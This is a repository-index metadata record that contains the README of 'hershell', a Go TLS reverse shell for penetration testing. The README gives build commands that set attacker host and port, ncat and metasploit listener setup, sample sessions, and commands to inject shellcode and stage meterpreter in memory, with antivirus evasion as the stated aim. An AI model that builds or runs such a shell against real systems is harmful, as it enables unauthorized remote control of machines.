{"id":13509866,"url":"https://github.com/sysdream/hershell","last_synced_at":"2026-02-22T01:42:34.771Z","repository":{"id":37431339,"uuid":"117548183","full_name":"sysdream/hershell","owner":"sysdream","description":"Hershell is a simple TCP reverse shell written in Go.","archived":false,"fork":false,"pushed_at":"2019-07-15T12:46:02.000Z","size":26,"stargazers_count":531,"open_issues_count":3,"forks_count":87,"subscribers_count":21,"default_branch":"master","last_synced_at":"2025-03-30T14:34:54.942Z","etag":null,"topics":["infosec","pentest","redteam","reverse-shell"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sysdream.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-01-15T13:21:46.000Z","updated_at":"2025-03-19T13:50:13.000Z","dependencies_parsed_at":"2022-08-19T18:31:47.665Z","dependency_job_id":null,"html_url":"https://github.com/sysdream/hershell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/sysdream/hershell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fhershell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fhershell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fhershell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fhershell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sysdream","download_url":"https://codeload.github.com/sysdream/hershell/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fhershell/sbom","scorecard":{"id":863836,"data":{"date":"2025-08-11","repo":{"name":"github.com/sysdream/hershell","commit":"f1486db683336112bec8364c8297242004a4b17a"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":2.6,"checks":[{"name":"Pinned-Dependencies","score":-1,"reason":"no dependencies found","details":null,"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Code-Review","score":0,"reason":"Found 0/20 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-24T02:08:44.230Z","repository_id":37431339,"created_at":"2025-08-24T02:08:44.230Z","updated_at":"2025-08-24T02:08:44.230Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29703227,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-21T23:35:04.139Z","status":"ssl_error","status_checked_at":"2026-02-21T23:35:03.832Z","response_time":107,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["infosec","pentest","redteam","reverse-shell"],"created_at":"2024-08-01T02:01:15.327Z","updated_at":"2026-02-22T01:42:34.755Z","avatar_url":"https://github.com/sysdream.png","language":"Go","funding_links":[],"categories":["Go","\u003ca id=\"1a9934198e37d6d06b881705b863afc8\"\u003e\u003c/a\u003e通信\u0026\u0026代理\u0026\u0026反向代理\u0026\u0026隧道","\u003ca id=\"01e6651181d405ecdcd92a452989e7e0\"\u003e\u003c/a\u003e工具","redteam"],"sub_categories":["\u003ca id=\"56acb7c49c828d4715dce57410d490d1\"\u003e\u003c/a\u003e未分类-Proxy","\u003ca id=\"e9f97504fbd14c8bb4154bd0680e9e62\"\u003e\u003c/a\u003e反向代理"],"readme":"# Hershell\n\n**NOTE:** the project has been forked on [this repo](https://github.com/lesnuages/hershell), check there for any other developments.\n\nHershell is a simple TCP reverse shell written in [Go](https://golang.org).\n\nIt uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.\n\nSupported OS are:\n\n- Windows\n- Linux\n- Mac OS\n- FreeBSD and derivatives\n\n## Why ?\n\nAlthough meterpreter payloads are great, they are sometimes spotted by AV products.\n\nThe goal of this project is to get a simple reverse shell, which can work on multiple systems.\n\n## How ?\n\nSince it's written in Go, you can cross compile the source for the desired architecture.\n\n## Getting started \u0026 dependencies\n\nAs this is a Go project, you will need to follow the [official documentation](https://golang.org/doc/install) to set up\nyour Golang environment (with the `$GOPATH` environment variable).\n\nThen, just run `go get github.com/sysdream/hershell` to fetch the project.\n\n### Building the payload\n\nTo simplify things, you can use the provided Makefile.\nYou can set the following environment variables:\n\n- ``GOOS`` : the target OS\n- ``GOARCH`` : the target architecture\n- ``LHOST`` : the attacker IP or domain name\n- ``LPORT`` : the listener port\n\nFor the ``GOOS`` and ``GOARCH`` variables, you can get the allowed values [here](https://golang.org/doc/install/source#environment).\n\nHowever, some helper targets are available in the ``Makefile``:\n\n- ``depends`` : generate the server certificate (required for the reverse shell)\n- ``windows32`` : builds a windows 32 bits executable (PE 32 bits)\n- ``windows64`` : builds a windows 64 bits executable (PE 64 bits)\n- ``linux32`` : builds a linux 32 bits executable (ELF 32 bits)\n- ``linux64`` : builds a linux 64 bits executable (ELF 64 bits)\n- ``macos32`` : builds a mac os 32 bits executable (Mach-O)\n- ``macos64`` : builds a mac os 64 bits executable (Mach-O)\n\nFor those targets, you just need to set the ``LHOST`` and ``LPORT`` environment variables.\n\n### Using the shell\n\nOnce executed, you will be provided with a remote shell.\nThis custom interactive shell will allow you to execute system commands through `cmd.exe` on Windows, or `/bin/sh` on UNIX machines.\n\nThe following special commands are supported:\n\n* ``run_shell`` : drops you an system shell (allowing you, for example, to change directories)\n* ``inject \u003cbase64 shellcode\u003e`` : injects a shellcode (base64 encoded) in the same process memory, and executes it (Windows only at the moment).\n* ``meterpreter [tcp|http|https] IP:PORT`` : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)\n* ``exit`` : exit gracefully\n\n## Usage\n\nFirst of all, you will need to generate a valid certificate:\n```bash\n$ make depends\nopenssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem\nGenerating a 4096 bit RSA private key\n....................................................................................++\n.....++\nwriting new private key to 'server.key'\n-----\ncat server.key \u003e\u003e server.pem\n```\n\nFor windows:\n\n```bash\n# Predifined 32 bit target\n$ make windows32 LHOST=192.168.0.12 LPORT=1234\n# Predifined 64 bit target\n$ make windows64 LHOST=192.168.0.12 LPORT=1234\n```\n\nFor Linux:\n```bash\n# Predifined 32 bit target\n$ make linux32 LHOST=192.168.0.12 LPORT=1234\n# Predifined 64 bit target\n$ make linux64 LHOST=192.168.0.12 LPORT=1234\n```\n\nFor Mac OS X\n```bash\n$ make macos LHOST=192.168.0.12 LPORT=1234\n```\n\n## Examples\n\n### Basic usage\n\nOne can use various tools to handle incomming connections, such as:\n\n* socat\n* ncat\n* openssl server module\n* metasploit multi handler (with a `python/shell_reverse_tcp_ssl` payload)\n\nHere is an example with `ncat`:\n\n```bash\n$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234\nNcat: Version 7.60 ( https://nmap.org/ncat )\nNcat: Listening on :::1234\nNcat: Listening on 0.0.0.0:1234\nNcat: Connection from 172.16.122.105.\nNcat: Connection from 172.16.122.105:47814.\n[hershell]\u003e whoami\ndesktop-3pvv31a\\lab\n```\n\n### Meterpreter staging\n\n**WARNING**: this currently only work for the Windows platform.\n\nThe meterpreter staging currently supports the following payloads :\n\n* `windows/meterpreter/reverse_tcp`\n* `windows/x64/meterpreter/reverse_tcp`\n* `windows/meterpreter/reverse_http`\n* `windows/x64/meterpreter/reverse_http`\n* `windows/meterpreter/reverse_https`\n* `windows/x64/meterpreter/reverse_https`\n\nTo use the correct one, just specify the transport you want to use (tcp, http, https)\n\nTo use the meterpreter staging feature, just start your handler:\n\n```bash\n[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] \u003e use exploit/multi/handler\n[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set payload windows/x64/meterpreter/reverse_https\npayload =\u003e windows/x64/meterpreter/reverse_https\n[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set lhost 172.16.122.105\nlhost =\u003e 172.16.122.105\n[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set lport 8443\nlport =\u003e 8443\n[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set HandlerSSLCert ./server.pem\nHandlerSSLCert =\u003e ./server.pem\n[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e exploit -j\n[*] Exploit running as background job 0.\n\n[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443\n[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) \u003e\n```\n\nThen, in `hershell`, use the `meterpreter` command:\n\n```bash\n[hershell]\u003e meterpreter https 172.16.122.105:8443\n```\n\nA new meterpreter session should pop in `msfconsole`:\n\n```bash\n[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) \u003e\n[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...\n[*] Meterpreter session 1 opened (172.16.122.105:8443 -\u003e 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100\n\n[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) \u003e sessions\n\nActive sessions\n===============\n\n  Id  Name  Type                     Information                            Connection\n  --  ----  ----                     -----------                            ----------\n  1         meterpreter x64/windows  DESKTOP-3PVV31A\\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -\u003e 172.16.122.105:44804 (10.0.2.15)\n\n[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) \u003e sessions -i 1\n[*] Starting interaction with 1...\n\nmeterpreter \u003e getuid\nServer username: DESKTOP-3PVV31A\\lab\n```\n\n## Credits\n\nRonan Kervella `\u003cr.kervella -at- sysdream -dot- com\u003e`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsysdream%2Fhershell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsysdream%2Fhershell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsysdream%2Fhershell/lists"}